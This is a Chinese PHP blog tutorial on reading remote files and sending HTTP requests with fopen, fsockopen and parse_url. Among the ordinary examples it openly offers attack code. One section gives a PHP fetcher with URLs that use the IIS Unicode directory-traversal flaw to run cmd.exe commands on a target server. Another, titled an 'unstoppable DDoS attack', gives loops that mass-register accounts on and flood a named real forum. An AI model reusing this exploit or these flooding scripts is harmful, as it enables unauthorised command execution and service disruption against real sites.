- 浏览: 13732896 次
- 性别:
- 来自: 洛杉矶
文章分类
- 全部博客 (1994)
- Php / Pear / Mysql / Node.js (378)
- Javascript /Jquery / Bootstrap / Web (435)
- Phone / IOS / Objective-C / Swift (137)
- Ubuntu / Mac / Github / Aptana / Nginx / Shell / Linux (335)
- Perl / Koha / Ruby / Markdown (8)
- Java / Jsp (12)
- Python 2 / Wxpython (25)
- Codeigniter / CakePHP (32)
- Div / Css / XML / HTML5 (179)
- WP / Joomla! / Magento / Shopify / Drupal / Moodle / Zimbra (275)
- Apache / VPN / Software (31)
- AS3.0/2.0 / Flex / Flash (45)
- Smarty (6)
- SEO (24)
- Google / Facebook / Pinterest / SNS (80)
- Tools (22)
最新评论
-
1455975567:
xuezhongyu01 写道wocan23 写道我想问下那个 ...
Mysql: LBS实现查找附近的人 (两经纬度之间的距离) -
xuezhongyu01:
wocan23 写道我想问下那个111.1是怎么得来的我也看不 ...
Mysql: LBS实现查找附近的人 (两经纬度之间的距离) -
18335864773:
试试 pageoffice 在线打开 PDF 文件吧. pag ...
jquery在线预览PDF文件,打开PDF文件 -
青春依旧:
opacity: 0.5; 个人喜欢这种方式!关于其他css特 ...
css透明度的设置 (兼容所有浏览器) -
July01:
推荐用StratoIO打印控件,浏览器和系统的兼容性都很好,而 ...
搞定网页打印自动分页问题
一、 介绍
只要在 php.ini 文件中激活了 allow_url_fopen 选项,您可以在大多数需要用文件名作为参数的函数中使用 HTTP 和 FTP URL 来代替文件名。同时,您也可以在 include()、include_once()、require() 及 require_once() 语句中使用 URL。PHP 所支持协议的更多信息参见 附录 J。
注: 要在 PHP 4.0.3 及其以后版本中使用 URL,您需要用 --enable-url-fopen-wrapper 参数来配置 PHP。 Windows 版本的 PHP 4.3 版之前不支持以下函数的远程访问:include(),include_once(),require(),require_once() 以及 参考 XLI, 图像函数库 扩展库中的 imagecreatefromXXX 函数。
例如,您可以用以下范例来打开远程 WEB 服务器上的文件,解析您需要的输出数据,然后将这些数据用在数据库的检索中,或者简单地将其输出到您网站剩下内容的样式匹配中。
例子 x. fopen() 例子
<?php $handle = fopen ("/home/rasmus/file.txt", "r"); $handle = fopen ("/home/rasmus/file.gif", "wb"); $handle = fopen ("http://www.example.com/", "r"); $handle = fopen ("ftp://user:password@example.com/somefile.txt", "w"); ?>
例子 X. 获取远程文件的标题
<?php $file = fopen ("http://www.example.com/", "r"); if (!$file) { echo "<p>Unable to open remote file.\n"; exit; } while (!feof ($file)) { $line = fgets ($file, 1024); /* This only works if the title and its tags are on one line */ if (eregi ("<title>(.*)</title>", $line, $out)) { $title = $out[1]; break; } } fclose($file); ?>
如果您用有合法的访问权限,以一个用户的身份和某 FTP
服务器建立了链接,您还可以向该 FTP
服务器端的文件进行写操作。您仅能用该方法来创建新的文件;如果您尝试覆盖已经存在的文件,fopen()
函数的调用将会失败。
要以“anonymous”以外的用户名连接服务器,您需要指明用户名(甚至密码),例如“ftp://user: password@ftp.example.com/path/to/file”。(如果通过 HTTP 协议访问远程文件时需要基本身份认证,您也可以用使用的语法。)
例子 X. 远程服务端的数据存储
<?php $file = fopen ("ftp://ftp.example.com/incoming/outputfile", "w"); if (!$file) { echo "<p>Unable to open remote file for writing.\n"; exit; } /* Write the data here. */ fputs ($file, $_SERVER['HTTP_USER_AGENT'] . "\n"); fclose ($file); ?>
注:
您或许可以从以上范例中得到启发,用该技术来存储远程日志文件。但是正如以上提到的,在用
fopen() 方式打开的 URL
中,您仅能对新文件进行写操作。如果远程文件已经存在 fopen()
函数的操作将会失败。要进行类似的分布式日志操作,您可以参考 syslog()
函数。
在下面的内容里,我将以更多的实例描述这种功能的应用。
在下面的内容里,我将以更多的实例描述这种功能的应用。
二、PHP中的POST&GET的应用
要使用PHP的POST&GET,可以运用fsockopen函数:
例子 1. fsockopen() Example
<?php $fp = fsockopen("www.example.com", 80, $errno, $errstr, 30); if (!$fp) { echo "$errstr ($errno)<br />\n"; } else { $out = "GET / HTTP/1.1\r\n"; $out .= "Host: example.com\r\n"; $out .= "Connection: Close\r\n\r\n"; fputs($fp, $out); while (!feof($fp)) { echo fgets($fp, 128); } fclose($fp); } ?>
例子 2. Using UDP connection
<?php $fp = fsockopen("udp://127.0.0.1", 13, $errno, $errstr); if (!$fp) { echo "ERROR: $errno - $errstr<br />\n"; } else { fwrite($fp, "\n"); echo fread($fp, 26); fclose($fp); } ?>
例子 3
<?php //定义一些连接参数 $urls = array( 'host'=>'localhost', 'port'=>80, 'path'=>'/index.php', 'method'=>'POST', 'protocol'=>'1.0', ); //POST方法传递的参数 $ps = array( 'language'=>'php', 'linux'=>'redhat', ); //GET方法传递的参数 $gs = array( 'php'=>5, 'redhat'=>9 ); /** 返回:得到POST或GET方法后返回的字符串(string) 参数: $usls : string $ps : array $gs : array 调用方法: getData($urls,$ps,'') //使用POST方法 getData($urls,'',$gs) //使用GET方法 参考资料:http://cn.php.net/manual/en/function.fsockopen.php */ function getData($urls,$ps='',$gs=''){ $host = $urls['host']; $port = $urls['port']; $path = $urls['path']; $method = $urls['method']; $protocol = $urls['protocol']; $posts = ''; $gets = ''; if(is_array($ps)){ foreach($ps as $k => $v){ $posts .= urlencode($k)."=".urlencode($v).'&'; } $posts = substr($posts,0,-1); $len = strlen($posts); } if(is_array($gs)){ foreach($gs as $k => $v){ $gets .= urlencode($k)."=".urlencode($v).'&'; } $gets = substr($gets,0,-1); } $fp = fsockopen($host, $port,$errno,$errstr,3); if(!$fp){ echo "can't connect...\r\n<br>Error:$errstr"; return ; } fputs($fp, "$method $path?$gets HTTP/$protocol\r\n"); fputs($fp, "Host: localhost\r\n"); if($posts != ''){ fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n"); fputs($fp, "Content-Length: $len\r\n"); fputs($fp, "\r\n"); fputs($fp, $posts); } fputs($fp, "Connection: Close\r\n\r\n"); $s = ''; do{ $data = fgets($fp,1024); if($data == '') { break; } $s .= $data; } while(true); fclose($fp); return $s; } //这里是使用POST方法取得目标网页返回的字符串 echo getData($urls,$ps,''); //如果要使用GET方法就用如下方式: echo getData($urls,'',$gs); ?>
三、UNICODE漏洞攻击
代码:
<?php $fp=@fopen($url,"r") or die ("cannot open $url"); while($line=@fgets($fp,1024)) { $contents.=$line; } echo $contents; //显示文件内容 fclose($fp); //关闭文件 ?>
使用:
/XXXX.php?url=http://target/script/..%c1%1c../winnt/system32/cmd.exe?/c+dir
/XXXX.php?url=http://target/script/..%c1%1c../winnt/system32/cmd.exe?/c+dir
四、WEB间文件转移:
该例子的代码引自PHP FLAME:
<?php $fp = fopen($_GET['filename'], 'rb'); $data = $tmp = ''; while ( true ) { $tmp = fgets($fp, 1024); if ( 0 === strlen($tmp) ) { break; } $data .= $tmp; } fclose($fp); $file=preg_replace("/^.+\//","",$filename); //write $fp = fopen("$file", 'wb'); fwrite($fp, $data); fclose($fp); ?>
五、HTTP代理(http://jsw.china12e.com/600/)
代码引自PHP FLAME:
<? $url = getenv("QUERY_STRING"); if(!ereg("^http",$url)) { echo "example:<br>xxx.php?http://jsw.china12e.com/<;br>"; exit; } if($url) $url=str_replace("\\","/",$url); $f=@fopen($url,"r"); $a=""; if($f) { while(!feof($f)) $a.=@fread($f,8000); fclose($f); } $rooturl = preg_replace("/(.+\/)(.*)/i","\\1",$url); $a = preg_replace("/(src[[:space:]]*=['\"])([^h].*?)/is","\\1$rooturl\\2",$a); $a = preg_replace("/(src[[:space:]]*=)([^h'\"].*?)/is","\\1$rooturl\\2",$a); $a = preg_replace("/(action[[:space:]]*=['\"])([^h].*?)/is","\\1$php_self?$rooturl\\2",$a); $a = preg_replace("/(action[[:space:]]*=)([^h'\"].*?)/is","\\1$php_self?$rooturl\\2",$a); $a = preg_replace("/(<a.+?href[[:space:]]*=['\"])([^h].*?)/is","\\1$php_self?$rooturl\\2",$a); $a = preg_replace("/(<a.+?href[[:space:]]*=[^'\"])([^h].*?)/is","\\1$php_self?$rooturl\\2",$a); $a = preg_replace("/(link.+?href[[:space:]]*=[^'\"])(.*?)/is","\\1$rooturl\\2",$a); $a = preg_replace("/(link.+?href[[:space:]]*=['\"])(.*?)/is","\\1$rooturl\\2",$a); echo $a; ?>
六:不可阻挡DDOS攻击
DDOS的一个例子
<?php $url="http://bbs.icehack.com/register.php?step=2&addpassword=aaaaaa&addpassword2=aaaaaa&addemail=asdfasd@dfsadsf.com&addusername="; for($i=1131;$i<=1150;$i++) { $urls=$url.$i; $f=@fopen($urls,"r"); $a=@fread($f,10); fclose($f); } ?>
运行后论坛将新增20个用户
(例子:http://bbs.icehack.com/userlist.php?page=827)
当把它用在论坛的搜索中时
DDOS攻击就实现了
以下的代码攻击INDEX.PHP文件,同时运行十个进程时,可能时论坛关闭
(例子:http://bbs.icehack.com/userlist.php?page=827)
当把它用在论坛的搜索中时
DDOS攻击就实现了
以下的代码攻击INDEX.PHP文件,同时运行十个进程时,可能时论坛关闭
<?php $url="http://bbs.icehack.com/index.php?addusername="; for($i=1131;$i<=1180;$i++) { $urls=$url.$i; $f=@fopen($urls,"r"); $a=@fread($f,10); fclose($f); } ?>
完整URL地址:
http://username:password@hostname/path?arg=value#auchor
协议:http://
用户名和密码: username:password 以:将两者分隔
主机名:hostname @和/为分隔符
路径: /path 以/开头、包含/符号
参数键值对: arg=value&arg1=value1 ?和#为分隔符、每对键值对之间用&分隔
锚:auchor 以#开头
用parse_url()获取相关信息
http://username:password@hostname/path?arg=value#auchor
协议:http://
用户名和密码: username:password 以:将两者分隔
主机名:hostname @和/为分隔符
路径: /path 以/开头、包含/符号
参数键值对: arg=value&arg1=value1 ?和#为分隔符、每对键值对之间用&分隔
锚:auchor 以#开头
用parse_url()获取相关信息
$url = "http://www.electrictoolbox.com/php-extract-domain-from-full-url/"; $parts = parse_url($url); // Array ( [scheme] => http [host] => www.electrictoolbox.com [path] => /php-extract-domain-from-full-url/ )
<?php $url = 'http://username:password@hostname/path?arg=value#anchor'; print_r(parse_url($url)); echo parse_url($url, PHP_URL_PATH); // Array ( [scheme] => http [host] => hostname [user] => username [pass] => password [path] => /path [query] => arg=value [fragment] => anchor )
可以看到,可以很容易分解出一个URL的各个部,那如果要拿指定的部分出来的话也很容易,如
echo parse_url($url, PHP_URL_PATH);
就是在第二个参数中,设定如下的参数:
PHP_URL_SCHEME, PHP_URL_HOST, PHP_URL_PORT, PHP_URL_USER, PHP_URL_PASS, PHP_URL_PATH, PHP_URL_QUERY or PHP_URL_FRAGMENT.
echo parse_url($url, PHP_URL_PATH);
就是在第二个参数中,设定如下的参数:
PHP_URL_SCHEME, PHP_URL_HOST, PHP_URL_PORT, PHP_URL_USER, PHP_URL_PASS, PHP_URL_PATH, PHP_URL_QUERY or PHP_URL_FRAGMENT.
七、最后还有一个
if ( !function_exists( 'fopen_url' ) ) { function fopen_url($url) { $file_content = ''; if (function_exists('file_get_contents')) $file_content = @file_get_contents($url); elseif (ini_get('allow_url_fopen') && ($file = @fopen($url, 'rb'))) { $i = 0; while (!feof($file) && $i++ < 1000) $file_content .= strtolower(fread($file, 4096)); fclose($file); } elseif (function_exists('curl_init')) { $curl_handle = curl_init(); curl_setopt($curl_handle, CURLOPT_URL, $url); curl_setopt($curl_handle, CURLOPT_CONNECTTIMEOUT,5); curl_setopt($curl_handle, CURLOPT_RETURNTRANSFER,1); curl_setopt($curl_handle, CURLOPT_FAILONERROR,1); curl_setopt($curl_handle, CURLOPT_USERAGENT, 'Trackback Spam Check'); $file_content = curl_exec($curl_handle); curl_close($curl_handle); } return $file_content; } }
关联:
发表评论
-
PHP: 在类(class)中加载动态函数, 变量函数或半变量函数 variable function/method
2016-09-03 07:54 7171最终实例在下方 以前 ... -
MySQL入门 (七) : 储存引擎与资料型态
2016-09-03 07:49 45541 表格与储存引擎 表格(table)是资料库中用来储存 ... -
MySQL入门 (六) : 字元集与资料库
2016-09-03 07:47 45671 Character Set与Collation 任何 ... -
MySQL入门 (五) : CRUD 与资料维护
2016-09-03 07:46 54831 取得表格资讯 1.1 DESCRIBE指令 「 ... -
MySQL入门 (四) : JOIN 与UNION 查询
2016-09-03 07:42 45011 使用多个表格 在「world」资料库的「countr ... -
PHP: 关键字global 和 超全局变量$GLOBALS的用法、解释、区别
2016-08-31 12:07 5040$GLOBALS 是一个关联数组,每一个变量为一个 ... -
MySQL入门 (三) : 运算式与函式
2016-08-31 12:01 4383运算式(expressions)已经 ... -
MySQL入门 (二) : SELECT 基础查询
2016-08-31 11:56 46821 查询资料前的基本概念 1.1 表格、纪录 ... -
MySQL入门 (一) : 资料库概论与MySQL的安装
2016-08-31 11:51 44591. 储存与管理资料 储存与管理资料一直是资讯应用上最基本 ... -
MySQL入门 (九) : 子查询 Subquery
2016-08-30 02:26 44481 一个叙述中的查询叙述 子查询(subquery)是一 ... -
PHP: 用readonly取代disabled来获取input值 submit a disabled input in a form could not ge
2016-08-30 02:21 2709The form is like below; <f ... -
PHP7革新与性能优化
2016-08-30 02:20 2147有幸参与2015年的PHP技 ... -
Mysql: 图解 inner join、left join、right join、full outer join、union、union all的区别
2016-08-18 06:03 3122对于SQL的Join,在学习起来可能是比较乱的。我们知道, ... -
Comet 反Ajax: 基于jQuery与PHP实现Ajax长轮询(LongPoll)
2016-08-18 06:00 1378传统的AJAX轮询方式,客服端以用户定义的时间间隔去服务器上 ... -
PHP:ServerPush (Comet推送) 技术的探讨
2016-08-18 05:58 1040PHP中Push(推送)技术的探讨 [http://vi ... -
PHP: 手把手编写自己的 MVC 框架实例教程
2016-08-16 05:33 18151 什么是MVC MVC模式(Model-View-Con ... -
PHP5: mysqli 插入, 查询, 更新和删除 Insert Update Delete Using mysqli (CRUD)
2016-07-29 12:55 1748原文: PHP5: mysqli 插入, 查询, 更新 ... -
MongoDB 教程索引 (附有视频)
2016-07-27 10:54 737MongoDB 教程索引 MongoDB 教程一: ... -
Node.js 模块之Nimble流程控制
2016-07-18 12:59 1082NodeJS异步的特性有时候 ... -
Node.js web应用模块之Supervisor
2016-07-18 12:56 2328在开发或调试Node.js应 ...
相关推荐
以下是基于给定文件中提供的代码,详细解读PHP获取远程文件内容的知识点。 1. 使用`file_get_contents`函数: `file_get_contents`函数用于读取文件的内容。它能够直接读取HTTP或者FTP等协议的远程文件。使用此...
这可能涉及到从网络上的不同服务器下载文本、图片、音频或...以上就是PHP获取远程文件内容函数的主要知识点,通过这个函数,可以方便地在PHP项目中实现远程数据的下载和处理,希望对学习PHP程序设计的读者有所帮助。
1、获取远程文件内容的方法 2、获取远程文件大小的方法 以上就是php获取远程文件的内容和大小函数代码,希望对大家的学习有所帮助。 您可能感兴趣的文章:php下载远程文件类(支持断点续传)PHP 远程文件管理,可以...
通过该函数,我们可以轻松地从远程服务器读取文件内容,并将其保存到本地或直接处理。 #### 二、核心概念 ##### 1. `file_get_contents` `file_get_contents`是PHP中的内置函数,用于读取整个文件到一个字符串中...
可以远程获取图片下载到本地的代码分析文件
接着,使用file_get_contents函数获取远程文件内容,然后将内容写入到指定的本地路径。如果在下载过程中发生错误,会抛出一个异常。 在实际应用中,我们可能需要处理更多复杂情况,比如设置超时限制、处理重定向、...
总结来说,这个PHP实例展示了如何利用HTTP头部信息获取远程文件大小,并使用文件流分块下载大文件。在实际应用中,还可以考虑增加错误处理、进度条显示、断点续传等功能,以提高用户体验。了解并掌握这些技巧对PHP...
在PHP编程语言中,获取远程文件的大小是一个常见的需求,特别是在处理网络资源时。这个功能可以帮助开发者预估加载时间、优化缓存策略或者控制下载流程。在提供的代码中,我们看到一个名为`getFileSize()`的PHP函数...
它接收用户的下载地址和密码,进行验证,然后使用PHP的文件处理函数(如`file_get_contents`或`cURL`库)来获取远程文件的内容,并将其传递给客户端浏览器下载。这个过程涉及到了HTTP请求、身份验证和文件流的概念。...
// 指定本地文件路径和远程文件路径 $local_file = 'path/to/local/file.txt'; $remote_file = 'path/to/remote/file.txt'; // 使用ftp_fput上传文件 if (ftp_fput($conn_id, $remote_file, $local_file, FTP_...
PHP获取远程http文件的md5值: md5_file(“https://www.baidu.com/s?wd=今日新鲜事&tn=SE_Pclogo_6ysd4c7a&sa=ire_dl_gh_logo&rsv_dl=igh_logo_pc”) PHP获取远程ftp文件的md5值: md5_file(“ftp://...
它是PHP获取远程文件大小的理想选择,因为它提供了丰富的选项来配置HTTP请求。 在本文的实例中,实现了一个名为`get_fileSize`的函数,它的作用是获取指定URL的远程文件大小,单位为字节。这个函数首先检查传入的...
本文主要探讨了三种不同的JS方法来获取文件大小,这些方法主要适用于浏览器环境,尤其是Internet Explorer。 方法一:利用ActiveX控件 在较旧版本的IE浏览器中,可以使用ActiveX技术来访问本地文件系统。ActiveX...
在PHP编程中,获取远程文件的大小是一个常见的需求,尤其在涉及文件下载、缓存或者资源管理的情况下。本文将介绍三种常用的方法来获取远程文件的大小,这三种方法分别是使用file_get_contents()函数、get_headers()...
### PHP远程文件包含漏洞详解 #### 一、概念解析 远程文件包含(Remote File Inclusion,简称RFI)是PHP程序开发中常见的安全漏洞之一。它发生在当PHP脚本动态包含一个外部文件时,如果该文件的路径由用户输入且未...